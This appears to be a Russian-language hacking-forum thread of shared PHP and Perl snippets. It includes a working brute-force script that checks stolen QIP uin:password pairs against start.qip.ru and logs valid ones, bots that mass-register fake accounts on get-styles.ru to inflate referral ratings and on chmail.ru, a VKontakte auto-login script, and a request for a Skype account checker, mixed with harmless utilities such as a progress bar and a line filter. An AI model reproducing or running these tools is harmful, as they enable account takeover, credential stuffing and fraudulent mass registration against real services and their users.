PHP: $file = "url.txt"; $file = array_map('trim', file($file)); foreach( $file as $n => $url ) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.64 (Windows NT 5.1; U; MRA 5.4 (build 02647); en) Presto/2.1.1'); $ss = curl_exec($ch); if( preg_match("#HTTP/1.(0|1) 200 OK#i", $ss) ){ preg_match("#<title>(.+)</title>#U", $ss, $title_tmp); file_put_content('stream.txt', "URL: ".$url.";TITLE: ".$title_tmp[1]."\r\n", FILE_APPEND); echo "URL: ".$url.";TITLE: ".$title_tmp[1]."<br>" } } Не тестил
я тебя очень огорчу, но есть http://vk.com/feed2.php, код сокращается в 3 раза Imacros для ie/firefox поможет
Брут qip'a v0.01 Навалял за 5 мин. Прокси не нужны. Скорость на моем канале (1мбит) примерно 2 ППС (норм как для однопоточного). После нескольких К пробрученого мой нум определяет норм. Для роботы нужен файл source.txt в котором лежат уины для брута в формате уин:пасс Пробрученые уины он удаляет из файла (чтобы можно было отключить, а потом начать с последнего). Гуды гладет в good.txt . п.с скорость не замеряет (я засекал). сам код PHP: <?php set_time_limit(0); function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; function write($path,$page_body) { $file=fopen($path,"w"); fwrite($file,$page_body); fclose($file); } function read($path) { $file=fopen($path,"r"); $bufer = fread($file,filesize($path)); fclose($file); return($bufer); } function add($path,$page_body) { $file=fopen($path,"a+"); fputs($file,$page_body); fclose($file); } $read = explode("\r\n",read('source.txt')); $count=count($read); for($i=0;$i<$count;$i++) { list($uin,$pass) = explode(":",$read[$i]); $result = curl('http://start.qip.ru/reg/test?user='.$uin.'&pass='.$pass,''); if($result=='200') add('good.txt',$read[$i]."\r\n"); unset($read[$i]); $zapis = implode("\r\n",$read); write('source.txt',$zapis); } echo 'end'; ?>
Регер на сайте http://get-styles.ru/ от меня Регер на сайте http://get-styles.ru/ от меня Для накрутки рейтинга PHP: <?php $vkid = '123456'; $promo = '105103'; // $chars = 'abdefhiknrstyzABDEFGHKNQRSTYZ23456789'; $num = strlen($chars); $string = ''; for ($i = 0; $i < 8; $i++) { $string .= substr($chars, rand(1, $num) - 1, 1); } $w = 'username='.$string. '&password='.$string. '&confirm_password='.$string. '&email='.$string.'%40mail.ru'. '&vkontakteId='.$vkid. '&promo='.$promo. '®ister=%D0%97%D0%B0%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://get-styles.ru/register'); curl_setopt($ch, CURLOPT_REFERER, 'http://get-styles.ru/register'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Firefox/3.5.2'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $w); $res = curl_exec($ch); curl_close($ch); if(strlen($res) > 50) { $fp=fopen('log.txt', 'a+'); fputs($fp, $w."\n"); fclose($fp); echo '<br><br>'.$w.$res; } // coding by null icq 2.6.6.3.2.2 ?>
Помогите решить проблему. Есть скрипт (онлайнер вконтакте): PHP: <?php function curl($url,$post) { $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $email = ''; $pass = ''; $result = curl('http://vkontakte.ru/',''); if(strstr($result,'<title>В Контакте | Добро пожаловать</title>')) { $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); } ?> Запускаю на денвере, работает нормально, заливаю к себе на сервер, ошибка 504 Gateway Time-out и онлайнер не логинится с vkontakte.ru Curl библиотека включена cURL support: enabled cURL Information: libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18 additional .ini files parsed: /etc/php5/apache2/conf.d/curl.ini /etc/php5/apache2/php.ini - extension=php_curl.dll Подскажите пожалуйста, что мне нужно исправить на серваке? Скрипт явно рабочий. Спасибо!
Perl universal progress bar [console] Code: #!/usr/bin/perl prog(1,12,20,1); # start, end, number of "=" when 100%, pause (in seconds) sub prog() { $| = 1; my($start, $end, $del, $pause) = @_; my $interval = $end/$del; for(my $i = $start; $i <= $end; $i++) { my $percent = ($i/$end)*100; my $step = int($i/$interval); printf("%3d%% %s%s\r", $percent, "=" x $step, ">"); sleep $pause; } } # © Pashkela for antichat.ru, 2010
PHP: <?php header('Content-Type: text/html; charset=windows-1251'); /****** массив для добавления окончания к нику *******/ $l = array('1', '2', '3', '4', '5', '6', '7', '8', '9', '0'); while ($i < 5) { $word .= $l[array_rand($l)]; $i++; } /*********** для реги *********/ $name = 'onotole';/// приставка к нику $pwd = 'qwertyololo'; /// пароль /********** страница для парсинга *******/ $a = file_get_contents('http://inbox.chmail.ru/register/'); /****** парсим капчу ******/ preg_match('#<td align=center><img src="(.*)" width=130 height=35 border=0>#', $a, $sec); /****** выводим капчу *********/ $im="<img src='http://inbox.chmail.ru".$sec[1]."'>"; echo '<form id="form1" name="form1" method="post" action=""> <input type="text" name="reg" /> <input type="submit" name="Submit" value="Submit" /> </form> <br /> '.$im.''; $reg=$_POST['reg']; /****** курл сеанс ********/ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://inbox.chmail.ru/register/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'login='.$name.''.$word.'&domain=chmail.ru&passw1='.$pwd.'&passw2='.$pwd.'&question=Как зовут Вашу собаку&answer=cu4ka&gender=unknown&gmt=16&sec_code='.$reg.'&submit=Зарегистрироваться&day=0&month=0&year=0&agree=1'); $exec = curl_exec($ch); curl_close($ch); $log=$name.$word.";".$pwd; $fp=fopen("good.txt", "a"); fputs($fp, $log."\r\n"); fclose($fp); ?> реггир мыл
Друзья нужна ваша помощь, есть файл.txt в котором хранятся строки в таком виде: jopa123 jopa234 ass jopa6534 asss Мне необходимо удалить из этого файла все строки содержащие jopa(цыфры). Заранее благодарю.
Ili@s try this Code: #!/usr/bin/perl use IO::File; open FILE,"<file.txt" or die "Cannot read the file file.txt !\n"; while ($line = <FILE>) { if ($line =~ m/jopa/i) { open(OUTFILE, ">>01.jopa-Found.txt"); print OUTFILE "$line"; } else{ open(OUTFILE, ">>02.No-jopa-Found.txt"); print OUTFILE "$line"; } }
М... как сие чудо реализовать? в директории есть пару папок и при просмотре директории выходит 403...
Друзья нужен скрипт который будет брать мыла из файла такого вида: [email protected] [email protected] [email protected] ипроверять их на регистрапцию в скайпе, если мыло там зарегестрировано то в один файл, незарегестрированые в другой. Если есть такой уже то ткните носом. Заранее спасибо!
xo0x, глянь сорц любого шелла) там найдешь код который тебе нужен) не такой конешно, но сочинить можно!
на пхп так: PHP: <?php echo '<a href="../">..</a><br />'; $handle = opendir('.'); while (false !== ($file = readdir($handle))) if ($file != "." && $file != "..") echo "<a href=\"$file\">$file</a><br />"; closedir($handle); ?> ну а вообще в .htaccess строку Options -Indexes замени на Options Indexes nameOfYuorDir1 nameOfYuorDir2 nameOfYuorDir3 (nameOfYuorDir это имена папок, в которых можно смотреть содержимое при отсутствии индексного файла) добавь туда строки Order allоw,deny Allow from аll и выставь права на каталоги...
